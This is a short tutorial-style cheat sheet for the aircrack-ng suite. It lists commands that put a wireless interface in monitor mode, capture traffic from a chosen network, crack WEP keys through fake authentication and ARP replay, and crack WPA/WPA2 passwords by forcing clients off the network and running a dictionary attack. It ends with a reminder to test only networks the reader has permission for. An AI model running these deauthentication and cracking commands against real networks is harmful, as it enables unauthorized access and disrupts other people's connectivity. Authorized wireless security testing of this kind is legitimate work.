Detailed Content:

  1. Switching Network Interface to Monitor Mode:
    • airmon-ng start [interface]
      • This command switches the specified network interface to monitor mode.
  2. Scanning for Wireless Networks:
    • airodump-ng [interface]
      • This command lists nearby wireless networks and connected devices.
  3. Focusing on a Specific Network to Collect Data:
    • airodump-ng --bssid [BSSID] -c [channel] --write [file_name] [interface]
      • This command focuses on a specific BSSID (wireless network identifier) and channel to collect data.
  4. Attacking a WEP-Encrypted Network:
    • aireplay-ng --fakeauth 0 -a [BSSID] -h [MAC] [interface]
      • Performs a fake authentication.
    • aireplay-ng --arpreplay -b [BSSID] -h [MAC] [interface]
    • aircrack-ng [file_name].cap
      • Cracks the WEP key using the collected data.
  5. Attacking a WPA/WPA2 Encrypted Network:
    • aireplay-ng --deauth [number] -a [BSSID] -c [target MAC] [interface]
      • Forces the target device to disconnect from the network.
    • aircrack-ng -w [dictionary_file] [file_name].cap
      • Performs a dictionary attack to crack the WPA/WPA2 password.
  6. Additional Tips:
    • Always operate within legal limits. Aircrack-ng should only be used on networks where you have permission for testing purposes.
    • Use a comprehensive dictionary file for an effective dictionary attack.
    • Be mindful of heavy traffic and attacks that might affect network performance.
